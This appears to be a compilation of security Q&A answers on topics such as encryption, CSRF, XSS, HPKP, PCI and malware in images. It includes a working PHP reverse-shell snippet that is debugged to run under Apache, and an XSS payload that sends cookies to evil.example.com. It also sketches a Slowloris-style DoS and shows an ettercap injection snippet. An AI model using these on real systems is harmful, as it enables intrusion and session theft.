Which real time cross-platform chat applications exist with end-to-end encryption?

http://www.cypherpunks.ca/otr/ is a plugin for several clients. I've used it with Adium on OS X and with Pidgin on Windows. It also works with Pidgin on Linux.

The greatest part of this is that it is protocol independent -- you can use it to secure conversations on Google Chat, Jabber, AIM, etc.


How do chips with write only functionality that store keys work?

The microcontroller (a really tiny computer) in the HSM prevents it - your computer (or whatever device is talking to the HSM) can't directly interact with the memory chip that holds the keys, it has to go through the microcontroller which will allow you to do some operations using the keys (that microcontroller will do the operation and just give you the result), including inserting new keys, but will never give out the keys themselves (unless you find an exploit in the microcontroller's firmware that allows you to execute arbitrary code and dump the keys).

I suggest you read the Wikipedia articles about smart cards, secure cryptoprocessors and TPMs.


How to forge custom IEEE 802.11 packets?

This is a good place to start:
WPA2-Hole196
The tools you are looking for are wpa_supplicant and madwifi.

The subject was presented in Defcon 18: dc18 archive
(Scroll down to "WPA Too!")


What is the difference between Key Escrow and a Recovery Agent?

A "Key Escrow" is used in cases where a third-party needs access to encrypted data, as defined by law (so if you get a court order to decrypt data), while a "Recovery Agent" is someone who is permitted to decrypt another user's data in case of emergency and has a key that can accomplish the decryption.

So in effect, the key escrow is someone who holds the keys for each user, while a recovery agent has a master key.

Edit: "Recovery Agent" is actually defined by Windows too, so you can access EFS-protected files of other users. See: http://searchitchannel.techtarget.com/definition/data-recovery-agent-DRA for details.


Reverse PHP shell disconnecting when netcat listener

You are executing on a server:

$sock=fsockopen("127.0.0.1",1234);
exec("/bin/sh -i <&3 >&3 2>&3");

while at the same time you have a netcat listening on 1234.

First issue I see, your server code is:

connecting to ip:port
running /bin/sh -i with input and output redirected to the fd 3 and returning the last line (don't confuse php exec with shell/C exec).

Now, if the connection opened had the fd 3, the shell will attach to that descriptor. The next descriptor to open may be fd 3. However, if it is already opened the new connection will have a different descriptor and your shell won't be plugged where you want. For instance, the above code works for mi when running php on a cli, but not when php is running as an apache module (there the socket is the fd 12 for me)

We can use this longer command to find out the highest-level file descriptor and use it in the redirection:

 passthru('FD=`ls /proc/self/fd | sort -rn | while read FD; do test -S /proc/self/fd/$FD && echo $FD && break; done`; /bin/sh -i <&$FD >&3 2>&$FD');

However, this has a drawback in that the shell can only redirect descriptors 1-9 so with descriptor 12, "<&12" would actually be attempting to redirect descriptor 1, not 12. And it being a socket, we can't open a new descriptor to /dev/self/fd/12 (No such device or address)

Thus, rather than attaching to the filedescriptor to the in shell script, it's much easier to do that from the php side by using a different function for running the command:

$sock = fsockopen("127.0.0.1",1234);
$proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);

Interestingly, the shell stays open even after the enclosing script finishes, so php max_execution_time isn't an issue.


How to give "Forgot password" option for a password encrypted file?

It sounds like your main question is about how to be able to match encrypted files with the clear-text password for that file in your database. You can use a secure hash function, say SHA-256 to solve this problem. The algorithm is

Get file and password from user.
Encrypt file using password.
Generate SHA-256 of encrypted file.
Store password in your database using SHA-256 as key. Note that this is where the risk lies. Be sure to encrypt the password with a key that you store in a separate location. You'll also need to record which user encrypted the file as you'll not want to let Bob get the clear-text password of Alice's encrypted file.

When a user requests the clear-text version of their password, you:

Calculate the SHA-256 of the file.
Find the matching hash in your database.
Perform appropriate access checks to make sure that this is their encrypted file.
Return the clear-text password to the user.


Why are cookies considered more secure against XSS?

If there are non HttpOnly cookies present, and attacker could steal them using XSS similar to the following

<script>new Image().src='https://evil.example.com?+escape(document.cookie)'</script>

This is the most devastating attack if session tokens are not protected by the HttpOnly flag because the attacker can simply set the cookie in their browser to log in as the victim.

If the HttpOnly flag is set, yes they can still make AJAX requests using their injected script, however this is more tricky to accomplish and doesn't give the attacker full interactive control of the hijacked session.

XSS is always a greater threat than CSRF. Even with HttpOnly cookies, the attacker could display a login form which sends credentials to the attacker once submitted. Also, any forms that require a CSRF token can simply be retrieved by the XSS attack.


What details does my iPhone reveal about the user (if any) when I connect to a wifi network?

It is possible for them to identify you, but whether or not they will is another matter.

If the password to get on the WiFi network is simply a WPA password (or similar) then this will not identify you in itself. They will most likely have access to your device's host name and could always identify you via other methods. Whilst your MAC address identifies the device, it does not identify the owner. That said, it wouldn't be too difficult to figure out who it belonged to if you were a network administrator. The same goes for the IP really.

I wouldn't worry too much about it. Unless your company operates some incredibly stringent IT policies and has time to spend on trying to determine who you are, this will likely slip under the radar.

The lesson to learn is, do you really need to use your corporate WiFi? I have enough mobile data allowance to not have to pass my traffic through any more network operators than is necessary.


Isn't OS X's Single-User Mode a bad idea?

Physical access is total access, right?  How is this any worse than a boot CD or yanking the hard drive and popping it into another system?

Not that I'm a fan of OSX or this particular feature, but if someone has physical access to a computer with an unencrypted disk, they have access to everything on that disk anyway, so single user mode doesn't make that any worse, either.


SHA-1 deprecation impact on personal PKI certificates

Web browsers will accept SHA-1 client authentication certificates. However, Web server may reject this certificate if authentication server (domain controller, for example) does not support SHA-1.

I think that most authentication servers will accept SHA-1 client certificates (at least Active Directory will do), because they are not subject of depreciation policy, but I would strongly recommend to upgrade your CAs to sign certificates with SHA-2.


Are the sha1 hashes used by common ssh configurations insecure?

Rule of thumb: SHA1 is potentially insecure when used on relatively static data, e.g. code signing, digital signatures, file hashes.

This is reflected by the PCI FAQ:

What is the Council’s guidance on the use of SHA-1?

When a hash function is applied iteratively (e.g. HMAC, PBKDF2) it is substantially less affected by collisions than their underlying hash functions per se. Ref. HMAC (Wikipedia). HMAC-SHA1 (and HMAC-MD5) are still safe from a security perspective (in 2019).

Similarly, the dynamic nature of Diffie-Hellman means its weaknesses resides on the number of bits governing its primes rather than the hash function it employs. Elaborating on what ConsideredHarmful noted: diffie-hellman-group14-sha1 is safe because it utilizes a 2048-bit prime whereas diffie-hellman-group1-sha1 is not because it only uses 1024-bits.


Securing a Ubuntu web server on cloud for a web application

Create a non root user run your app under that user.

Set up ufw (uncomplicated firewall) block all apart from SSH, http and HTTPS. This is much easier than iptables (imo).

Disable SSH password auth. Set up keys, use them only.

Additionally set up Fail 2 Ban to monitor logs and take any additional actions you might want (IP blacklisting etc).

There are lots of guides online for hardening Ubuntu, these would be my 'must do' steps. I would recommend the Linode guides they are generally good quality (https://www.linode.com/docs/security/securing-your-server).

Also bear in mind that even without a domain name, if your app was running on the remote chances are it has already been found and probed based on IP:port alone. I would do all these steps as soon as the server is provisioned.


If malware can be attached to an image file, then why aren't images a common attack vector?

While hiding malware in an image is possible, it's not as simple as it may first seem, and there's a lot of nuance in terms of what "hiding malware in an image" could actually mean, and what the behaviour of that image is in practice.
First things first, let's talk about steganography. It's the practice of hiding information inside other information. For example, you might agree with a friend that a particular codeword in a phonecall (e.g. "roast beef") means you're on a bad date and need an excuse to leave. That's a very basic form of steganography. The codeword seems innocuous to an outsider - "did you remember to put the roast beef in the fridge?" is not a suspicious question - but there is hidden meaning to those that are aware of it.
Steganography can be applied to digital media, too. An image might have a fine line of pixels at the very edge that encode a series of bytes that contain a message. A person casually viewing the file would see an image, but probably not notice the single line of pixels at the edge, and even if they did they might not think anything of it. This approach is quite limiting, though. Lossy compression formats (e.g. JPEG, GIF) would not produce the exact same pixels as were put into the compressor, so they can't be used with this simple technique - you need lossless storage like BMP or PNG. It's also limited to a small amount of data - add too much, and the weird line of pixels becomes obviously visible. An approach that increases the amount of data that can be stored is to replace the least significant bit of each red, green, and blue value, for every pixel, with one bit of the secret message. This is visually imperceptible to the human eye, but again it breaks if you save the image as a JPEG or GIF, or resize or process the image in any way.
There are more complicated approaches that surivive being encoded as a JPEG, and there are other techniques such as storing secret messages in metadata (e.g. EXIF tags in a JPEG, ID3 tags in an MP3, or hidden streams in a video container) that would only generally be noticed by someone explicitly looking for them.
A problem with sharing these steganographic media files via social media networks is that they don't leave your file alone when you upload it. They resize it, recompress it, strip metadata off it (largely for privacy and space saving reasons - there's no need to store random metadata, and geolocation tagged photos can leak your exact location), and may even crop or colour-correct the image. It makes sharing these kinds of files on those platforms very difficult.
You might notice something here, though: these are just regular image or video files. They don't do anything magic when you open them. They're just a regular media file, with some cleverly manipulated pixels or metadata, and you have to know that there's some secret thing in there, know how that secret was encoded, and use some tool to extract the message. They don't magically infect you with malware when you open them.
You're clearly aware of the concept that opening benign non-executable file formats might result in being infected with malware, but how does that actually work? The answer is almost always one of two things: embedded macros, or exploitation of a software vulnerability.
I'll cover embedded macros very quickly. In many office document formats (e.g. Word, Excel) there's a feature that lets you store scripts inside a document. These are called macros. They're often used to add more complex behaviour to a document, e.g. having a button in a spreadsheet that pops up some question boxes for you to fill out in order to generate a report. These macros can also be written in a way that is malicious, and modern versions of office software normally disable them by default when you load the document. You have to manually click "yes, enable macros, I'm sure this document is safe" in order to run them. Most malicious documents try to trick you into clicking that button. One example might be that you receive an email with the subject "[Confidential] Department Salary Increases", with an Excel spreadsheet attached. You open it, and the document looks official, appears to be some sort of list of employees and new salaries for the next financial year, and it even has your company logo in it, but every cell with names or salary amounts says "security protected content. enable macros to view". If you approve macros it drops a malicious executable onto your computer and runs it.
This trick doesn't apply to JPEGs or PNGs or MP3s or AVIs. They don't have macros. So how might you get infected by a malicious image or audio/video file? First things first, let's ignore the case where someone named the file private_snapchat_23.jpg.exe and it's not actually an image file. It's obvious how that one is malicious, and you can't just upload that to a social media site anyway - it won't be recognised as an image at all.
Malicious media files like this rely on vulnerabilities in the software the reads the file. The exact details of how vulnerabilities and exploits work constitute and entire field of study, with more than enough complexity to fill hundreds of books, so I'll skip all but the very basics.
It is not unfair to say that computers border on being maliciously compliant. They will do exactly what you tell them to, ignoring any subtlety or nuance in your intentions, and almost always without any warning that what you want to do is not in your best interests. If you say "pick up that brush, brush the cat, then put it in the dishwasher", it'll put your cat in the dishwasher. The problem is that software developers are human, and translating between what a human wants and what a computer needs to be told in order to achieve that goal is a very hard job. Even if all the tooling is perfect (which it isn't) humans make mistakes all the time. They write buggy code. Sometimes these mistakes mean that the behaviour of the computer can be altered by the data it is working on, in a way that was unintended by the developer. When these bugs can be abused in order to bypass security expectations, we call them vulnerabilities.
As a brief technical example, let's talk about buffer overflows.
Let's say you allocate a certain block of memory, 50 bytes long, to store a particular field that you're reading from a file. We call this a buffer. The file format specification says the field shouldn't ever be more than 32 bytes long, so the developer figures that a buffer of 50 bytes is a nice round number and more than enough space to store the field data. The data in the file encodes this particular field as a single byte denoting the length of the field, followed by the contents of that field.
Here's an example of what that field might look like in the file, in bytes:
0d 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 21

The first byte, with a hexadecimal value of 0d (13 in decimal) specifies that the field is 13 bytes long. The remainder of the field is the data, which decodes to the ASCII string "Hello, world!".
The program parses this field by reading the length value, then copying that number of bytes into the buffer. But the developer made a mistake: they forgot to validate that the length value is 32 bytes or less, as per the specification. This also means they didn't validate that the length field is smaller than the buffer size. Normally, this isn't a problem, because files adhere to the specification and don't try to store any field bigger than 32 bytes. But if someone makes a file that purposefully violates the specification, they can make the program crash.
As an example, the field data might look like this:
64 54 68 65 20 71 75 69 63 6b 20 62 72 6f 77 6e 20 66 6f 78 20 6a 75 6d 70 73 20 6f 76 65 72 20 74 68 65 20 6c 61 7a 79 20 64 6f 67 2c 20 61 6e 64 20 74 68 65 20 75 6e 68 61 70 70 79 20 64 65 76 65 6c 6f 70 65 72 20 68 61 73 20 61 20 74 65 72 72 69 62 6c 65 20 64 61 79 2e 20 57 68 6f 6f 70 73 20 3a 28

The first byte denotes the length of the data. 0x64 is 100 bytes - twice the buffer size! The program doesn't validate that this size is ok, so it just copies 100 bytes into a 50 byte buffer. The data overflows the buffer (we call this a buffer overflow) into adjacent memory. That memory could store anything! It might be a buffer for another field, it might be where the program stores some variables, or it could be where the program stores state information about where it needs to jump to after this bit of code has finished running. Writing garbage data to this memory is called memory corruption, and it usually results in a crash.
However, you can often do more than just crash the program. You can look at how the program works internally, reverse engineer the assembly instructions that are being run in the vulnerable portion of code, look at the memory layout, and see what parts of memory you can corrupt. From this you may be able to specifically craft the data you put in the file in order to carefully overwrite program memory in order to run instructions of your choosing, instead of the normal program behaviour. This is called an exploit. The topic of vulnerability research and exploit development is vast, as previously mentioned, and generally requires a fairly deep understanding of how computer programs work and what security mechanisms are in place to mitigate exploit techniques, so I won't go into full detail here.
Note: It's worth me pointing out that the above is just an example. In reality vulnerabilities can take a lot of different forms, and they're not always reliant on buffer overflows or memory corruption. Again, the specific details are broad and complex enough to be worthy of multiple books, not half a paragraph in a StackExchange answer.
One thing that is critical here is that an exploit targets one vulnerability in one specific piece of code on one platform. It isn't universal. If you write an exploit for a vulnerability in the part of Windows Media Player that reads MP4 files, you can't just take that malicious MP4 file and use it against VLC, or on SMPlayer on Linux, or on your phone's video player app. Even if a vulnerability is found in a cross-platform library that is used by image viewers or video players on Windows, Linux, MacOS, iOS, and Android, you generally need to write a separate exploit (sometimes called a payload) for each of those platforms due to the different operating systems having different APIs, memory layouts, exploit protections, etc., not to mention that some of them are running on entirely different CPU architectures (e.g. x86-64 for Windows vs. ARM on an iOS or Android device). On top of that, bypassing exploit protections (particularly sandboxing in modern browsers) is quite difficult, and usually requires multiple vulnerabilities to be chained together. On mobile platforms it may be even harder. Even then, the exploit will likely only work against a few specific versions of the software, and one or two versions of the operating system. It can take weeks or even months of hard work by a talented exploit developer, along with a bunch of luck, in order to produce a stable exploit. This is after they spend a very long time reverse engineering various bits of software and reading source code in order to even find a usable vulnerability in the first place.
Now think back to earlier, when I talked about the problem of sharing steganographic images over social media. If they re-encode the image, your specially crafted bytes almost certainly go away. This means that even if you found a vulnerability in an image decoding library used by a large number of operating systems and devices (e.g. one used in Chrome or Firefox for displaying images), you'd still need to write separate exploits for each OS and browser, and find sandbox bypass vulnerabilities in order to actually do anything useful, and write exploits for those (which again need to be targeted to the browser and OS and CPU architecture), you'd still probably not be able to share it by social media because the carefully crafted file would get mangled by the server during re-encoding.
On top of all of this, the bad guys run into an economic problem: they almost always have to expend a lot of time and effort writing a functioning exploit, but a whitehat can find the same bug and spend just a few hours writing up a report to a vendor to get the vulnerability patched. And, even if they do successfully deploy the exploit against victims through some popular platform, it doesn't take long before their exploit payload is detected by intrusion detection systems, and their malware (exploits are generally limited in capability themselves, are usually used to download and run a larger program that can then provide more comprehensive capabilities to the attacker) is detected by anti-malware programs. It's often cheaper and easier to just use simple phishing attacks with office documents containing macros than it is to try to discover and practically exploit these types of vulnerabilities.


Well, technically speaking, it is possible to make a truly anonymous social network. But why the mainstream ones are so intrusive? Because they want to sell you as a customer and/,or visitor to their advertisers and here goes the "publicly available reason" for deanonymising users: they say "we want to make money" and it's a part of the truth and a top part of the iceberg. The bottom part below the waterline is that to say "go away and stop breaking the human rights and your Constitution" to criminals in uniform, to publish it as wide as possible and not keep silent smile - it requires guts and the conscious mind, a very rare combination of quality nowadays, sadly. Ed Snowden's reports about PRISM only confirms this point of view, adding specific company names to that crowd of coward criminals... Now there's an attempt to make the anonymous social network with blockchain - it's called Steemit, take a look there, all open source. Also take a look at ZeroNet collaboration in website publishing, it is described in the documentation. And remember: no tool can protect you from yourself, so be confidential in your mind first hand


Can I show Credit Card Data to final customers and be PCI Compliant?

Ultimately, I think you're going to have to figure this out with your PCI auditor, which I am not.  I think you're going to have a hard time figuring out how to do this is a way that is a) not overly burdensome to you and the ultimate users of the card data, and b) leaves you with a system that is still PCI compliant and that your auditor will give a stamp of approval, but I also don't think PCI DSS v3 makes it impossible.

This is the most significant issue:

Once card data enters a PCI compliant system, it cannot be extracted and delivered via non-compliant means.   This means that you can't get the card data out, and email it to a hotel, for instance, or give to someone over the phone.  It must at all times be encrypted, access logged, and unprotected PANs only displayed to those with a legitimate business need.

Now, given that the hotel personnel do in fact have a legitimate business need (they need to be able to charge the card) if access is appropriately restricted and audit logged, you may be able to successfully argue this.  It still elevates the level of risk, however, and any given auditor may refuse to buy this line of reasoning.

You would be far better off if you could send the data directly to the hotel or tour operators own PCI-compliant processing systems and let them worry about it from there, instead of having to work through human intermediaries.


I agree that website is confusing.

As I understand it, ">2030" means that we expect the AES-128 algorithm to withstand the test of time into the 2030's. That said, this site (linked to by your site) suggests that you change your "Symmetric Data Encryption Key" every "<= 2 years".

Those numbers will be based on the rate of increase in computing power available to crackers. Ie "somewhere in the 2030's, it should be possible for an attacker to brute-force an AES-128 key in less than 2 years of computation.

Of course, that's barring any major breakthrough attacks against AES. It also assumes that the data you're protecting is important enough that someone will be willing to pay the equipment and electricity costs of several years of server farm time in order to get it.

The question about how many files before rotating keys is hard to answer. A better way to measure it is "how many gb of encryption" before rotating keys. As far as I know, NIST is not yet concerned enough to publish maximum amounts of data that can be encrypted with the same key. In this answer, Tom Leek suggests that you should be able to encrypt up to 250 millions of terabytes with the same AES key without any problem. Though this amount would probably be reduced if there is a lot of repetition in your files (ie they all have an identical header block or something).

What NIST has published (see NIST SP 800-38D, section 5.2.1.1)  is that you should not encrypt single files larger than 64 gb. The reason for this is that after ~ 64 gb encrypted with the same key and the same initialization vector (IV), you start expecting to see collisions at the block level. As long as your data is in chunks smaller than 64 gb, and you use a unique IV for each chuck, you're fine.


Ways to protect private data from other applications I installed

Unless you have the technical ability to audit it you can't trust random code from the Internet. All you can ever have to go on is the reputation of that softwares authors amongst other users and the verification methods offered by the authors to show the binary is actually produced by them (hash, signatures, SSL certificates for transport etc).

If you do not trust either the authors or the method by which the binary found its way onto your machine then you should assume it is malicious.

As you implied there are ways to sandbox code. For example - you talk about your.ssh directory. You can run the tool under another user account that has restricted priveledges and no read access to any valid ssh keys (you should have your Web server running under a restricted user account as it is!). You can then audit any output files from the tool before using them from the production account.

How paranoid you should be depends on what is at risk. If this is a production server for an Alexa 100 site or a bank then you shouldn't even consider running code without verifying what it does first. If this is a dev test VM firewalled from your internal networking that you don't care if you have to reimage then you can be a bit less careful.


How are pinned keys stored in the browser? How about performance with large lists?

There are two kinds of HTTP Public Key Pinning, static HPKP and dynamic HPKP.

Static HPKP

For Google Chrome at least, static HPKP involves a list of websites and their public keys actually hardcoded in a json file distributed with all Chrome builds. Firefox keeps it in a header file with a large struct containing the websites and pinned keys. This is similar to HSTS preloading, but tends to involve only higher profile sites, so you can't submit your own. This list is not huge, so it's easy to query rapidly. If it were to include particularly many sites, it would not scale.

Dynamic HPKP

This is similar to HSTS. A server sends an HTTP header containing the pin directive along with a fingerprint and a backup fingerprint. Like HSTS, it also encodes the duration for which this will be valid. After getting the fingerprint, the browser will only connect to the website if it matches, until the expiry is up. This is stored in memory or on disk, and at most contains only the website you've visited which use dynamic HPKP. Assuming CA compromise, HPKP effectively provides a strong TOFU (Trust On First Use) guarantee on top of TLS.

The actual implementation is probably not relevant. For static HPKP, I imagine Firefox simply loops over the struct to find matches, and Chrome uses its internal json parser to find matches. For dynamic HPKP, it's probably some kind of list, whether a linked list or something faster and lighter like some kind of tree, I don't know. Either way, it would not be a significant bottleneck compared to the rest of the complex operations a browser needs to go through to perform a proper TLS handshake.

You underestimate the performance of a well-optimized hash tree or radix tree. :)


Server-side validation collates submitted value with a text representation of the captcha image, not the ascii sum or etc.

Let's take a look at standard 5 a-z chars captcha example:

Quantity of all combinations from aaaaa to zzzzz is 26^5 = 11881376 combinations.
Quantity of all ascii sums of our captcha is 610-485+1 = 126

So, if we have an ascii sum of captcha, we're refine our possible combinations area to 11881376 / 126 = 94296 combinations.

Even though our area is narrowed down by 99.2%, the risk mitigates by captcha regenerating after server-side validation fail, which leaves us only one try for combination, whereas we need to bruteforce about 94000 values for one captcha.

Surely, client-side validation increases possibility for captcha bypassing, but far not enough yet to really bypass it.


Do WebSocket-powered web apps (e.g. "comet" apps) have to worry about CSRF?

Should web applications using websockets (...) include nonces verified by the server on each transmission to prevent CSRF?

TL;DR: This is desirable, though not necessarily on each trasnmission (once per connection should suffice) and not to prevent CSRF, but XSS. This is more a safeguard than a strict necessity though. Details below.

To answer whether or not WebSockets are vulnerable to CSRF we must first understand the conditions that allow such attacks to take place:

The user is authenticated to a domain, usually by means of a session cookie;
There exists one or more types of HTTP request that, when performed by an autheticated user, will have some sort of side-effect;
Because of exceptions to the same origin policy, one site that should generally not be allowed to make a given request is able to do so, and the user agent includes authentication/authoriation cookies in that request.

For instance, when site A includes a img tag with src pointing to domain B, the user agent honors the request, passing along any cookie that is set for domain B. What the use of a secret CSRF token accomplishes is that part of the authentication data is included in the URL itself, so an attacker that does not know the token can not forge a URL that will be accepted by the server (since this part of the authentication will fail).

AFAIK WebSockets can open connections to any server and port (disclaimer: the reference used in the linked post might be outdated). They can have their own cookies (although not the same ones used by the HTTP pages - since the scheme is different) and - if my interpretation of RFC6455 is correct - these cookies will be sent alongside the connection request regardless of which site initiated the request (though the server can reject requests coming from a different origin). If these cookies provide all the authentication required to honor the request, then the server will honor the request.

So, to determine whether or not a WebSocket-based CSRF attack can be made, these questions must be considered (though I'm afraid I can't provide a definite answer on them):

Is your server properly configured to only accept request from trusted origins? Can the origin be spoofed (in this context)?
Can a WebSocket connection happen outside the context of a JavaScript call, for instance creating a URL with ws or wss as scheme and using it as a src or href of a markup element? Would that have any undesirable side-effect? I know it's silly, but since I don't have an answer to this question I must raise the possibility nonetheless...
How is your authentication and authorization done? According to this post (which also highlight other potential issues, not directly related to CSRF) there is nothing built-in, so you have to implement it yourself. Depending on how you do it, and what assumptions you make about the user agent behavior, this may open you up for XSS attacks (which, while different from CSRF strictly speaking, is related in the sense that the browser would misuse its authority to set authentication cookies in contexts that are different from what you expected - righly or wrongly).


ettercap filters - drop the packet and inject packet

inject() inserts the contents of a file as is. You need to create a binary file, 6 bytes long, and inject that. There are plenty ways to do that, one of the simplest is to use Python:

python3 -c "
with open('./fake_pkt', 'wb') as pkt:
    pkt.write(bytearray([0x68, 0x4, 0x7, 0x0, 0x0, 0x0]))"


How should I tell an organisation that they are vulnerable when I wasn't given permission to check?

Send them an anonymous email/snailmail. What they do with it is their responsibility. Your conscience will be clear.


Why would a stranger keep signing up to trading sites with my email address?

I have 4 different people who regularly use my email address to sign up for things. I get incorrectly addressed emails daily. After a few years of getting their emails, I know just about everything about them and most of their immediate family (I know one 10 year old's class schedule).

I try to get them to be more aware of the fact that they are not using the email account they think they are using, but they simply will not be careful enough to check. Sometimes things die down for a bit, but they always start up again.

My vote is that this other person is just not careful or deeply confused.


Content-Length just says that "I'm going to send this much data in the following HTTP body." The server will sit and wait for you to in fact send that much in the HTTP body, so that it can process it for the request. This is the "parsing bug" you have found—the server is in fact waiting for data you never send.
The extra character you "added to the request body" is in fact not in the request body: it is instead a malformed HTTP header, which your particular server apparently is happy to ignore. HTTP headers are separated by newlines—a single empty line always separates the headers from the body.
You can use the feature you've discovered to keep a connection open as long as you like, sending an absurdly large Content-Length (although not too large—it's not implausible that advanced server software or an IDS reverse proxy might notice that and just preemptively cut you off) and then sending data in at a mere trickle to make the server not time out the connection—then you can keep many such connections open to mount a C10k problem-based DoS in the style of Slowloris or RUDY.
(For the record, I'm not sure what you expect will happen when you add 1 to the Content-Length and one character to the body: that will just, well, create another well-formed, normalised request with an extra character in its body.)


Discover what workstations a user us connected to in a Windows AD Environment?

Find out which computers in Active Directory a user is logged into.

  This will find the user if they're logged in using the console or
  remotely using terminal services by examining the explorer.exe
  processes on all active directory machines.  This script requires the
  free Quest ActiveRoles Management Shell for Active Directory snap-in:
  Located http://www.quest.com/powershell/activeroles-server.aspx

find full article here

Add-PSSnapin Quest.ActiveRoles.ADManagement -ErrorAction SilentlyContinue
$ErrorActionPreference = "SilentlyContinue"

# Retrieve Username to search for, error checks to make sure the username
# is not blank and that it exists in Active Directory

Function Get-Username {
$Global:Username = Read-Host "Enter username you want to search for"
if ($Username -eq $null){
    Write-Host "Username cannot be blank, please re-enter username!!!!!"
    Get-Username}
$UserCheck = Get-QADUser -SamAccountName $Username
if ($UserCheck -eq $null){
    Write-Host "Invalid username, please verify this is the logon id for the account"
    Get-Username}
}

get-username

$computers = Get-QADComputer | where {$_.accountisdisabled -eq $false}
foreach ($comp in $computers)
    {
    $Computer = $comp.Name
    $ping = new-object System.Net.NetworkInformation.Ping
    $Reply = $null
    $Reply = $ping.send($Computer)
    if($Reply.status -like 'Success'){
        #Get explorer.exe processes
        $proc = gwmi win32_process -computer $Computer -Filter "Name = 'explorer.exe'"
        #Search collection of processes for username
        ForEach ($p in $proc) {
            $temp = ($p.GetOwner()).User
            if ($temp -eq $Username){
            write-host "$Username is logged on $Computer"
        }}}}

Joe commented there:

  Joe0126 - Dec 12, 2011 Replace:  $computers = Get-QADComputer | where
  {$_.accountisdisabled -eq $false} With:  $computers = Get-QADComputer
  -OSname 'Server' | where {$_.accountisdisabled -eq $false}


What expectation of privacy is there with US-based vendors with the LavaBit and SilentCircle shutdown?

From what information is out there, it seems like the most likely scenario was that the US Government wanted these companies to install back-door technology into their systems and give the government agencies access to all the information that flows through them; these companies would be ordered to not disclose the backdoor nor the government's involvement.

This appears to have happened back in 2007 with Hushmail. Faced with such an order, the company's only option is to either quietly comply or cease to exist. Note that Hushmail is a Canadian company, but it was nonetheless forced to comply with the US order.

Why is email the only aspect most vendors are concerned about?

Here's what Silent Circle said:

  There are far too many leaks of information and metadata intrinsically in the email protocols themselves. Email as we know it with SMTP, POP3, and IMAP cannot be secure.... And yet, many people wanted it.... However, we have reconsidered this position. We've been thinking about this for some time, whether it was a good idea at all. Yesterday, another secure email provider, Lavabit, shut down their system less they "be complicit in crimes against the American people." We see the writing on the wall, and we have decided that it is best for us to shut down Silent Mail. We have not received subpoenas, warrants, security letters, or anything else by any government, and this is why we are acting now.

In other words, they didn't think offering the illusion of secure email was particularly useful in the first place because significant data leakage is inevitable in the associated protocols.

But more importantly, once you receive a government order, you no longer have any choice. At that point it becomes too late to stop offering your email service as the order will prohibit you from doing so. At that point, you you must continue to offer your service and pretend that it hasn't been compromised. Otherwise you have to cease all operations altogether.

Silent Circle is hoping that by closing down their email service, they'll be less of a target for spying agencies and will avoid being ordered to compromise their services.

Is any certificate vendor, like Verisign, that issues S/MIME certificates susceptible to government subpoena?

Yes.

What about non US companies?

In many cases, yes. There are a few nations where a US order can't be enforced, though these probably will have their own governmental interference to contend with.

What expectation of privacy should I have when doing business with any US vendor?

Not much. Though to be fair, other governments do similar things as well.  Which means realistically, you have no expectation of privacy that you cannot actually prove yourself.

Does my citizen status matter, or does it matter if I'm in the US or not?

The NSA explicitly asserts that all communication anywhere in the world that involves at least one non-US citizen is theirs to collect without cause. They also state that information that they can't prove involves only US citizens will also be collected just in case. The NSA and FBI also have largely unlimited power to force US residents to comply with nearly any surveillance order if they can get a sign-off from a court. That power largely extends to any other nation with which they have a legal assistance treaty, which covers a lot of ground.


What a WPAD attack does, it changes your browser's internet proxy settings, meaning all of your traffic would go through the attackers proxy, meaning he could read all of the unencrypted traffic. If you had seen a certificate warning and visited the website, than the fact that it's HTTPS won't help you, everything still can be intercepted. WPAD attack doesn't affect DNS security, but a router compromise does.

Q1:  Access to the router for an attacker allows him to gain full read and modifying capabilities of your network traffic. Meaning he can redirect your DNS request to his sites, intercept/modify web traffic, simply re-route everything through him etc.

Q2:  For Windows definetly re-install OS, for Android devices it is recommended. Change all of your passwords for sites that your commonly browse or those of high value is definetly a must. Change the web passwords either after you have cleaned and re-set everything or from a previously non-compromised network.


Do you really need an access token and refresh token?

Introduction

The SameSite Cookie attribute prevents the browser from sending this cookie along with cross-site requests. The main goal is mitigate the risk of cross-site information leakage. It also provides some protection against cross-site request forgery attacks.
One of the two possible flags for the SameSite is "strict".
The "strict" flag will prevent the cookie from being sent by the browser to the target site in all cross-site browsing context, even when following a regular link. Not all browsers implement the attribute "SameSite".
In OAUTH 2.0 both access token and refresh token are defined in RFC6749.
Access tokens are credentials used to access protected resources.
An access token is a string representing an authorization issued to the client.
Refresh tokens are credentials used to obtain access tokens.
Refresh tokens are issued to the client by the authorization server and are used to obtain a new access token when the current access token becomes invalid or expires, or to obtain additional access tokens with identical or narrower scope.
Access tokens may have a shorter lifetime and fewer permissions than authorized by the resource owner.
Issuing a refresh token is optional at the discretion of the authorization server.
If the authorization server issues a refresh token, it is included when issuing an access token.
In the OAUTH 2.0 the token revocation defines a mechanism for clients to indicate to the authorization server that an access token is no longer needed.
This is used to enable a "log out" feature in clients, allowing the authorization server to clean up any security credentials associated with the authorization.

Answer

As written in OAuth 2.0 Security Best Current Practice 4.12

Refresh tokens are a convenient and UX-friendly way to obtain new
access tokens after the expiration of older access tokens.  Refresh
tokens also add to the security of OAuth since they allow the
authorization server to issue access tokens with a short lifetime and
reduced scope thus reducing the potential impact of access token
leakage.

As stated in the answer, the Access Token is more vulnerable then Refresh Token because it is seen by more parties. Resource Server could lead to the leaking of the Access Token, while the Refresh Token would still be safe because Resource Server doesn't see Refresh Token.
There are a few reasons why you might need to revoke an application’s access to a user’s account.

The user explicitly wants to revoke the application’s access the user doesn't want to use anymore.

The developer wants to revoke all user tokens for their application.

The developer deleted the application.

The service provider wants to disable a compromised/malicious application.

These explain OAuth security and vulnerabilities in more detail:
What is going on with OAuth 2.0? And why you should not use it for authentication.
OAuth 2.0 Security Best Current Practice


Reporting vulnerability to New York Times

They do not have a specific security contact listed, so you should email help@nytimes.com and ask for your message to be forwarded to their IT security department.


What kind of vulnerability would this exploit?

The intent would have been to exploit a server side include -- your webserver retrieving the URL and incorporating it into the web page.

This vulnerability isn't very common anymore.


Is this an appropriate anti-CSRF method?

I don't see any flaw in the method and I think it can be used to protect against CSRF. There is just one small issue: This method will work just fine as long as the cookie storing the CSRF token is NOT set as HTTPOnly. The problem is with this requirement:

  Application detects/places token.

This implementation is similar to Double Submit Cookies. Double submitting cookies is defined as sending a random value in both a cookie and as a request parameter, with the server verifying if the cookie value and request value are equal. The benefit of using this method is that the application does not have to save this value in any way.

